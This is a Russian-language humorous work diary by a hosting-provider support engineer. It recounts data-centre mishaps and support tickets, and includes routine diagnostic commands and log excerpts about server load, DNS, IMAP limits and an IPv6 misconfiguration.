Данный дневник является порождением терзающей меня на протяжении, наверное, года мысли "надо таки начать где-нибудь записывать перлы с работы". Ну а к окончательной реализации подбил пример одного ведущего дневник товарища. За что ему было высказано отдельное спасибо :)
Я не заинтересован в срывании покровов, разговорах о футболе, политике, "наболевшем" и так далее - посему никаких личных переживаний, мнений, жалоб и тд и тп здесь не будет. Только моя работа и, надеюсь, только юмор.


Теперь, собственно, о сабже. Несколько лет работаю в техподдержке одного хостинг-провайдера (известного, обожаемого, проклинаемого, говнохостера - это как посмотреть, хватает, прямо скажем, всего) и до сих пор, несмотря на печали разного "административного" толка (за что отдельное спасибо руководству), мне доставляет эта работа :) Этим чувством я и постараюсь поделиться.


Все логины, имена, фамилии смело считайте вымышленными, совпадения случайными :) а то еще придут злые дяди из СБ и выразят своё "фи"...

URL
An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
И снова наши инженеры ДЦ жгут :)

Василий добавил комментарий - 14/04/17 15:13
Все работы завершены, КВМ можно отключать.
Надо только разобраться с питанием uweb1155 ака eq623: в данный момент этот сервер работает, несмотря на то, что обе его розетки отключены.

Максим добавил комментарий - 14/04/17 15:15
его выключить?


**как впоследствии оказалось - розетка продолжала работать несмотря на ее отключение в интерфейсе PDU.


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[6:38 PM] Василий: так, а для замены отправить в ДЦ диск или менять на то, что есть?
[6:55 PM] Александр: @Василий там сервер на шассии SC113TQ-R700WB 8x 2.5" отсеков для дисков SAS/SATA
[6:56 PM] Александр: в наличии только 3.5 диски =)
[6:57 PM] Василий: **и зачем тогда ДЦшники, когда у них спрашивают про 2.5", отвечают про наличие 3.5" ?)
[6:58 PM] Евгений: они их умеют ужимать
[6:58 PM] Евгений: на смене сильный ДЦшник


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[6:56 PM] Василий: Dearchiving failed users: bugtest2
[6:56 PM] Александр: как аккаунт назовешь  так .... :D


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
[11:04] Василий: оказалось, что она не упала
[11:04] Василий: а в нее добавили памяти
[11:05] Евгений: рукалицо.
[11:05] Василий: ДЦшники восприняли "приедет память - надо будет поставить" буквально :)
[11:15] Павел: Искоренять нада такое
[11:16] Евгений: предлагаю выводить 220 корпус рабочих серверов
[11:17] Василий: кнопки пластиковые, не поможет :)
[11:17] Евгений: кнопки походу вообще отковыривать нужно)


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Василий·13:11
$servename - вылетел диск из рейда, будем менять
LSIMegaRaid: DriveSlot2 state is not online

Павел·13:18
как удачно я в zabbix его только что прикрутил
а так бы и не увидели

Эмиль·13:19
на битву экстрасенсов пойдешь?)


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Дневник снова открыт... летом!

Хотя у него немного сменилась ориентация - меньше "саппорта", больше администрирования. Скорее всего, в будущем переберусь на другое название или другую площадку вообще.
Пока как черновики:

Я·17:27
[root@ovz]# du -sch /vz/restore/BACKUPS/local/9731
4.0K    /vz/restore/BACKUPS/local/9731
чего только 4кб?

Дмитрий·17:27
отому что тяни из архива за 20е
там же нет ничего, папка пустая

Я·17:28
дык последние должны лежать на сервере?)

Дмитрий·17:28
теоретически.
Согласись, между "должны" и "есть" пролегает большая разница

Я·17:29
нублжад)
нуок
как я быстро из гнева к смирению пришел, минуя отрицание, торг и депрессию :)))

Дмитрий·17:29
этот навык тебе еще пригодится

Я·17:31
а скрипт работает надеюсь?)

Дмитрий·17:31
должен = )


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Дневник закрыт... летом.

Через пять лет работы в техподдержке (последние пара лет далась особо тяжело благодаря воцарившимуся идиотизму) я ушел из этой области. Несмотря ни на что - я не жалею ни об этом времени, ни тем более об уходе :)

Заводить новый дневник для новой сферы моей деятельности я не буду :) Во-первых - она слишком спецефична и понятна определенным специалистам определенной области (ФТТ), во-вторых - этот опыт показал, что я все-таки не люблю писать дневники. Мне интереснее писать какие-то статьи/заметки, делиться опытом на какую-то случайно пришедшую в голову тему - чем описывать "течение окружающей жизни".

Ну а в качестве тем для очерков я в итоге выбрал авиацию, а не IT :)
Пример:

Засим - все.


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
/>>> 05.03.2015, 12:00, "Support Team":
/>>> Здравствуйте!
/>>>
/>>> Действительно, нагрузка на сервер не снизилась. В таком случае требуется проверка скриптов Вашего сайта с помощью его разработчика.
/>>>
/>>> В частности, вчера произведено порядка 1200 запросов к скрипту sсript_naduv.php:
/>>>
/>>> [username@shared ~/logs]$ cat custom_log.previous | cut -d'"' -f2 | cut -d' ' -f2 | cut -d'?' -f1 | sort | uniq -c | sort -n | tail
/>>> 185 /favicon.ico
/>>> 216 /highslide/graphics/zoomout.cur
/>>> 261 /sсript_igra.php
/>>> 268 /sсript_mech.php
/>>> 274 /sсript_all.php
/>>> 335 /sсript_sport.php
/>>> 343 /sсript_child.php
/>>> 421 /
/>>> 427 /news.php
/>>> 1201 /sсript_naduv.php
/>>>
/>>> При этом генерация страницы скриптом потребляет порядка 10 секунд процессорного времени.
/>>>
/>>> username 62906 57.6 0.5 27420 16760 ?? RN 8:36AM 0:09.44 sсript_naduv.php (php-cgi)
/>>>
/>>> Другие скрипты сайта тоже потребляют достаточно много процессорного времени.
/>>>
/>>> username 72192 45.4 0.5 27420 16396 ?? RN 8:36AM 0:06.60 sсript_sport.php (php-cgi)
/>>> username 86791 39.8 0.3 10164 8224 ?? RN 8:36AM 0:05.55 sсript_old.php (php-cgi)
/>>> username 90153 47.4 0.2 8960 7228 ?? RN 8:37AM 0:07.63 sсript_child.php (php-cgi)
/>>> username 96708 51.0 0.4 17620 12408 ?? RN 8:37AM 0:07.69 news.php (php-cgi)
/>>> username 3183 36.9 0.3 14372 10140 ?? RN 8:37AM 0:04.78 sсript_tir.php (php-cgi)
/>>> username 7133 30.3 0.4 19312 13744 ?? RN 8:37AM 0:03.52 sсript_disco.php (php-cgi)
/>>>
/>>> Нормальное потребление процессорного времени скриптами сайта - порядка 0.1-0.3 секунды, а не нескольких секунд.
/>>>
/>>> Системные вызовы процесса генерации скрипта sсript_naduv.php показывают на громадное количество операций смены прав доступа к файлам (зачем такая операция вообще
/>>> производится?) в начале обработки скрипта и на громадное количество операций чтения, которое, по всей видимости, возникают при чтении комментариев из базы данных:
/>>> ...
/>>> 4.966374098 write(4,"i\0\0\0\^Cselect `id`, `comments"...,109) = 109 (0x6d)
/>>> 4.966488919 read(4,"\^A\0\0\^A",4) = 4 (0x4)
/>>> 4.966552895 read(4,"\^F",1) = 1 (0x1)
/>>> 4.966611004 read(4,"N\0\0\^B",4) = 4 (0x4)
/>>> 4.966670790 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,78) = 78 (0x4e)
/>>> 4.966738956 read(4,"Z\0\0\^C",4) = 4 (0x4)
/>>> 4.966794830 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,90) = 90 (0x5a)
/>>> 4.966856012 read(4,"b\0\0\^D",4) = 4 (0x4)
/>>> 4.966917474 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,98) = 98 (0x62)
/>>> 4.966980891 read(4,"Z\0\0\^E",4) = 4 (0x4)
/>>> 4.967041514 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,90) = 90 (0x5a)
/>>> 4.967105490 read(4,"\\\0\0\^F",4) = 4 (0x4)
/>>> 4.967166114 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,92) = 92 (0x5c)
/>>> 4.967229810 read(4,"V\0\0\a",4) = 4 (0x4)
/>>> 4.967290992 read(4,"\^Cdef\^Rwwwusernameeru_adm\^Qcu"...,86) = 86 (0x56)
/>>> 4.967355247 read(4,"\^A\0\0\b",4) = 4 (0x4)
/>>> 4.967415312 read(4,"\M-~",1) = 1 (0x1)
/>>> 4.967485155 read(4,"\^S\0\0\t",4) = 4 (0x4)
/>>> 4.967548293 read(4,"\^A2\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967608916 read(4,"\^S\0\0\n",4) = 4 (0x4)
/>>> 4.967668422 read(4,"\^A3\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967732398 read(4,"\^S\0\0\v",4) = 4 (0x4)
/>>> 4.967792183 read(4,"\^A4\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967848057 read(4,"\^S\0\0\f",4) = 4 (0x4)
/>>> 4.967905608 read(4,"\^A5\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.967963717 read(4,"\^S\0\0\r",4) = 4 (0x4)
/>>> 4.968021267 read(4,"\^A6\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968078538 read(4,"\^S\0\0\^N",4) = 4 (0x4)
/>>> 4.968135809 read(4,"\^A7\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968194756 read(4,"\^S\0\0\^O",4) = 4 (0x4)
/>>> 4.968250630 read(4,"\^A8\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968309019 read(4,"\^S\0\0\^P",4) = 4 (0x4)
/>>> 4.968366569 read(4,"\^A9\0\0\0\fhtml_with_br\0",19) = 19 (0x13)
/>>> 4.968426354 read(4,"\^T\0\0\^Q",4) = 4 (0x4)
/>>> 4.968481949 read(4,"\^B10\0\0\0\fhtml_with_br\0",20) = 20 (0x14)
/>>> 4.968539779 read(4,"\^T\0\0\^R",4) = 4 (0x4)
/>>> 4.968597608 read(4,"\^B11\0\0\0\fhtml_with_br\0",20) = 20 (0x14)
/>>> ...
/>>>
/>>> Системные вызовы процесса были сняты таким образом и сохранены в файл:
/>>>
/>>> [username@shared ~/www/htdocs]$ while true; do ps aux | grep php-cgi | grep sсript_naduv | awk {'print $2'} | xargs truss -o sсript_naduv.php.txt -d -p ; done
/>>> [username@shared ~/www/htdocs]$ ls -alh sсript_naduv.php.txt
/>>> -rw-r--r-- 1 username username 58M Mar 5 08:45 sсript_naduv.php.txt
/>>>
/>>> Вам необходимо проанализировать этот файл с разработчиками сайта и устранить указанные проблемы.
/>>>
/>> 05.03.2015 14:36 - Username написал(а):
/>> Здравствуйте!
/>> Скачиваем файл. Анализировать с разработчиками не представляется возможным, так
/>> как их давно нет, и связи с ними тоже. Другое дело, что эти же скрипты и работали
/>> все это время и не нагружали настолько сервер, всегда хватало ресурсов. А после
/>> того, как мы оплатили хостинг на год, понеслась проблема с нагрузкой. Данный сайт
/>> плохо оптимизирован. CMS, на которой он устроен, не обновлялась уже много лет. На
/>> данный момент мы делаем другой новый сайт, после него собираемся полностью переделать
/>> проблемный сайт, чтобы он был современным и в плане технической сборки тоже.
/>> Мы постараемся проанализировать данные, которые вы прислали. Будем стараться
/>> исправить проблему, потому что сайт нас кормит, в конце концов...
/>> Но не могли бы вы проанализировать работу сервера до и после начала каждодневной
/>> нагрузки. Мы не меняли ничего на сайте (серьезного) с 2014 года, а нагрузка не
/>> могла начаться просто так, так же исполняя скрипты, как и прежде, это как минимум
/>> странно.
/>>
/> 05.03.2015, 15:10, "Support Team":
/> Здравствуйте!
/>
/> Сервер работает в штатном режиме и его конфигурация и настройки не обновлялись. Также никакие обновления сервера не могли привести к такому эффекту.
/>
/> Нагрузка могла расти постепенно: учитывая, что изменяются права доступа к множеству файлов, их количество будет влиять на итоговый результат, то есть на результат влияет
/> банально наполнение сайта;
/>
/> Нагрузка могла вырасти скачком: учитывая, что производится считывание огромного количества информации из базы данных, причем в этом процессе фигурирует слово
/> "Комментарии", речь может идти об атаке на сайт и создании большого числа спам-комментариев на сайте в различных формах (гостевая книга, комментарии, отзывы и так
/> далее), что привело к дальнейшему затруднению в работе сайта.
/>
/> Также речь может идти о взломе сайта и об изменении его кода, но на наш взгляд были бы иные последствия в виде лишних страниц на сайте, рассылке спама, работе посторонних
/> скриптов - такого сейчас не наблюдается.
/>
/> В любом случае сейчас скрипт в ходе генерации одной страницы совершает порядка 900 тысяч действий, это связано только с кодом и это никак не может быть
/> связано с сервером: в вывод системных вызовов не успела попасть инициализация обработчика PHP, поскольку в штатном режиме она занимает крайне мало времени. Все действия, что
/> производятся при генерации страницы и тратят ресурсы процессора - производятся обработчиком согласно найденному в скриптах коду и никак не связаны с серверным настройками.
/>
Здравствуйте!
После разговоров с вами и проделанных манипуляций, решили нанять фрилансера для
оптимизации кода сайта, чтобы наконец решить проблему нагрузки.

Спасибо за проявленное терпение. Работоспособность сайта для нас первоочередная задача.


@темы: заявки, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Как быстро и эффективно сожрать всю выделенную оперативную память:

$ cat .htaccess
...
RewriteRule ^[a-z0-9_-]*\.html$ index.php
...

$ php -c /etc/php.ini index.php
Notice: Undefined index: SERVER_NAME in include/kernel.class.php on line 1030
Warning: readfile(/index.html): failed to open stream: operation failed in include/kernel.class.php on line 1030

Вуаля:
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
user 5569 0.0 0.0 19564 12800 ?? I 10:51AM 0:00.48 httpd -f /etc/apache/httpd.conf
user 6825 0.0 0.0 19564 12800 ?? I 10:54AM 0:00.32 httpd -f /etc/apache/httpd.conf
user 6916 0.0 0.0 19564 12804 ?? I 10:54AM 0:00.50 httpd -f /etc/apache/httpd.conf
user 18376 0.0 0.0 19528 12764 ?? I 11:09AM 0:00.14 httpd -f /etc/apache/httpd.conf
user 53119 0.0 0.0 17060 10524 ?? Ss Wed03PM 12:56.55 httpd -f /etc/apache/httpd.conf
user 94218 0.0 0.0 19564 12800 ?? I 10:59AM 0:00.65 httpd -f /etc/apache/httpd.conf
...

"Мавр сделал своё дело, мавр может уходить."


@темы: говнокод, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка на тему "Не сохраняются отправленные на сервере", к заявке приложен скриншот с ошибкой:
"Tunderbird не удалось подключиться к IMAP-серверу. Возможно, Вы превысили ограничение на максимальное число соединений к этому серверу. Если это так, откройте диалоговое "Дополнительные параметры IMAP-сервера и уменьшите число кэшируемых соединений."

Зрим в логи:
Feb 19 09:36:56 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP
Feb 19 09:36:57 courier-imapd: Maximum connection limit reached for $IP

Какой умный почтовый клиент, однако :) Надо было его послушаться.


@темы: будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Заявка на тему: "Почему я не могу войти по ftp".

В ходе обсуждения теории входа на сервер мы пришли к выводу:
1) Вампиры не могут войти на сервер по протоколу SSH/SFTP;
2) Вампиры не могут войти на сервер по протоколу FTP в активном режиме обмена данными;
3) Вампиры должны использовать пассивный режим обмена данными для успешного входа на сервер.

А все потому, что вампиры не могут войти без приглашения ;)



@темы: юмор, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Проблема - апач жрет 100% процессора, но у сервера два ядра и вроде как апач должен жрать только одно из них.

dp (15:55:47 2/02/2015)
А ядра, судя по /proc/cpuinfo все же два

Я (15:56:24 2/02/2015)
да
и по конфигу тоже два
а httpd жрет 90% cpu ))

dp (15:56:39 2/02/2015)
ну и что? = )

Я (15:56:48 2/02/2015)
ну и пишет что сожрал 100%
и не 100% из 200%

dp (15:56:57 2/02/2015)
и что?

Я (15:57:03 2/02/2015)
тормозит-с

dp (15:58:46 2/02/2015)
открой top у него и нажми 1

Я (15:59:08 2/02/2015)
и что?)
ооо
магия

dp (15:59:18 2/02/2015)
= )

Я (15:59:19 2/02/2015)
только она не работает
он одинаковую цифру пишет

dp (15:59:43 2/02/2015)
не без того. Это же контейнер с виртуальным ЦПУ.

Я (16:00:14 2/02/2015)
а что если нагрузка на ЦПУ зеркальная и по факту одно ядро? (фрай.жпг) ))

dp (16:00:45 2/02/2015)
а что, если машина виртуальная и ядро ненастоящее? = )

Я (16:00:59 2/02/2015)
а что, если ложки нет?)

dp (16:01:10 2/02/2015)
У меня есть. Но чайная
В общем, это нормально


An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Не знаю, то ли это злая шутка, то ли в этом действительно есть какая-то логика, но...

[supp@local ~]$ dig apache.org @ns1.ourhostingdns.ru any
; <<>> DiG 9.6.-ESV-R5-P1 <<>> apache.org @ns1.ourhostingdns.ru any
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16080
;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 5, ADDITIONAL: 3
;; QUESTION SECTION:
;apache.org. IN ANY
;; ANSWER SECTION:
apache.org. 1800 IN MX 10 mx1-eu-west.apache.org.
apache.org. 1800 IN MX 10 mx1-us-east.apache.org.
apache.org. 1800 IN MX 10 mx1-us-west.apache.org.
apache.org. 1800 IN MX 10 mx1.eu.apache.org.
apache.org. 1800 IN MX 10 mx1.us.apache.org.
apache.org. 1800 IN A 104.130.219.184
apache.org. 1800 IN A 140.211.11.131
apache.org. 1800 IN A 192.87.106.229
apache.org. 1800 IN SOA ns2.surfnet.nl. hostmaster-2005-alpha.apache.org. 2015012000 3600 900 604800 3600
apache.org. 1800 IN NS ns4.no-ip.com.
apache.org. 1800 IN NS ns2.no-ip.com.
apache.org. 1800 IN NS ns3.no-ip.com.
apache.org. 1800 IN NS ns1.no-ip.com.
apache.org. 1800 IN NS ns2.surfnet.nl.
;; AUTHORITY SECTION:
apache.org. 1800 IN NS ns1.no-ip.com.
apache.org. 1800 IN NS ns2.no-ip.com.
apache.org. 1800 IN NS ns2.surfnet.nl.
apache.org. 1800 IN NS ns4.no-ip.com.
apache.org. 1800 IN NS ns3.no-ip.com.
;; ADDITIONAL SECTION:
ns3.no-ip.com. 172800 IN A 204.16.253.33
ns1.no-ip.com. 172800 IN A 204.16.255.55
ns1.no-ip.com. 172800 IN AAAA 2620:0:2e60::33
;; Query time: 542 msec
;; SERVER: OURHOSTINGDNSIP#53(OURHOSTINGDNSIP)
;; WHEN: Fri Jan 23 07:51:39 2015
;; MSG SIZE rcvd: 503


*Активация завода по производству кирпичей - success!*
ОМФГ, наш днс отвечает на рекурсивные запросы??!!! Алярме, алярме, срочно исправить!!!

[supp@remotesftp ~]$ dig apache.org @ns1.ourhostingdns.ru
; <<>> DiG 9.6.-ESV-R3 <<>> apache.org @ns1.ourhostingdns.ru
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 841
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;apache.org. IN A
;; Query time: 3 msec
;; SERVER: OURHOSTINGDNSIP#53(OURHOSTINGDNSIP)
;; WHEN: Fri Jan 23 10:53:26 2015
;; MSG SIZE rcvd: 28

А не, все норм. Но зачем-то отвечает локально.



@темы: факапы

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Достаточно часто на автомате выполняются "стандартные действия", которые выолняются практически всегда без раздумий, но которые по факту не нужны.

Например: у нас есть один сайт, который позавчера начали ддосить и в ответ мы запретили доступ к сайту из зарубежных сетей (а кроме этого работает скрипт, который особо наглых добавляет в iptable). Сегодня пользователь интересовался, можно ли снять фильтр, не кончилась ли атака.
Ответ - нет, не кончилась. Далее в качестве пруфов кидается кусочек лога последнего наглого забаненного. Я обычно кидаю кусочек за секунду-две, чтобы пользователь сам оценил масштаб. В логе сервера оно выглядит так:

58.11.94.108;www.domain.ru;1421401987.103;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.118;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.158;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.161;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.283;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.297;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.317;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.328;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.456;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.555;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.590;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.600;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.659;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.843;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.861;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;1421401987.910;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1

Я человек добрый, готовый для комфорта пользователей чего-нить сделать дополнительного и не люблю, когда в логе есть лишняя информация, не нужная пользователю - такую информацию вырезаю регулярками. Здесь тоже самое, таймстампы пользователь вряд ли оценит, заменяю "ru;*[0-9.]*;" "ru;", получаю такой результат и отправляю его клиенту:

58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
58.11.94.108;www.domain.ru;[16/Jan/2015:09:53:07 +0000];503;GET / HTTP/1.1
После чего смотрю на отправленный ответ и в голове проскакивает мысль - "блин, надо было просто скопировать одну строчку и вставить 15 раз" :)


@темы: будни

14:54

Рубль!

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Валютный кризис внезапно добрался и до нас :)

truss -d php index.php:
...
4.515326636 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
7.622082262 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
10.722452370 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
13.826648258 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
13.897878993 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
13.969070898 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
17.052084063 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
23.386883003 connect(5,{ AF_INET 212.40.192.49:80 },16) ERR#36 'Operation now in progress'
...

cbr.ru has address 212.40.192.49


@темы: факапы, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Интересное обращение - сайт на сервере работает, однако яндекс заявляет, что они вместо сайта видят стандартную заглушку apache "It Works!" - в результате сайт не индексируется, не работает метрика и так далее.
Посмотрел конфиги апача - ничего подозрительного. На сервере при этом стояла панель ISPmanager и логи сайтов писались в /var/www/httpd-logs - в этих логах были зафиксированы обращения от метрики:
7105:/# grep -i metrika /var/www/httpd-logs/*.access.log | tail
178.154.224.114 - - [02/Sep/2014:08:25:55 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots TEST)"
213.180.206.197 - - [02/Sep/2014:08:26:48 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon2.yandex.ru)"
95.108.129.207 - - [02/Sep/2014:08:31:38 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon1.yandex.ru)"
37.9.118.17 - - [02/Sep/2014:08:38:50 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon3.yandex.ru)"
178.154.224.114 - - [02/Sep/2014:08:40:36 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots TEST)"
213.180.206.197 - - [02/Sep/2014:08:45:57 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon2.yandex.ru)"
95.108.129.207 - - [02/Sep/2014:08:51:06 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon1.yandex.ru)"
178.154.224.114 - - [02/Sep/2014:08:55:01 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots TEST)"
37.9.118.17 - - [02/Sep/2014:08:58:33 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon3.yandex.ru)"
213.180.206.197 - - [02/Sep/2014:09:05:49 +0400] "GET / HTTP/1.1" 200 8378 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots mtmon2.yandex.ru)"

Уже собрался, пожав плечами, уходить, как решил все-таки посмотреть лог самого apache - а кто же, все таки, открывает страничку "It Works", если яндекс успешно по сайту ходит?
7105:/# tail /var/log/apache2/access.log
2620:10f:d00b::642b:5517 - - [02/Sep/2014:01:26:37 +0400] "GET /?command=system HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::c715:63c6 - - [02/Sep/2014:01:26:54 +0400] "GET /?command=rasprodaga HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2a02:6b8:0:180c::8d08:bd7d - - [02/Sep/2014:01:27:04 +0400] "GET /?command=vibor_nedeli HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::c715:63cb - - [02/Sep/2014:01:27:15 +0400] "GET /?command=peregorodki HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::642b:5516 - - [02/Sep/2014:04:48:52 +0400] "GET /?foto=images/prev/dsp/n29_27.jpg&command=contacts HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2a02:6b8:0:180c::b29a:ff85 - - [02/Sep/2014:04:49:14 +0400] "GET /?command=contacts HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2a02:6b8:0:180c::5ff:c311 - - [02/Sep/2014:04:49:35 +0400] "GET /mil2.php HTTP/1.1" 403 284 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2620:10f:d00b::c715:63c6 - - [02/Sep/2014:04:49:41 +0400] "GET /?command=laminirovannye_paneli HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +yandex.com/bots)"
2001:41d0:2:c05::1 - - [02/Sep/2014:05:15:13 +0400] "GET /?command=shkafyi_kupe HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)"
2a02:6b8:0:f09::5c - - [02/Sep/2014:05:57:53 +0400] "GET / HTTP/1.1" 200 56 "-" "Mozilla/5.0 (compatible; YandexMetrika/2.0; +yandex.com/bots)"

Вот тут то все и стало понятно :) Для домена IPv6-адрес в зоне указан, а в конфигурации apache его нет - вот он и отдает свою страницу)
Еще забавно, что похоже для яндекса приоритетом является именно IPv6 - несмотря на то, что сайт успешно открывался по IPv4-адресу, яндекс решил взять за основу результаты открытия страниц по IPv6-адресу и заявлял, что сайт не работает.


@темы: факапы, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
... когда пользователь заказывает выделенный IP - и система выделяет ему айпишник нашего phpmyadmin.
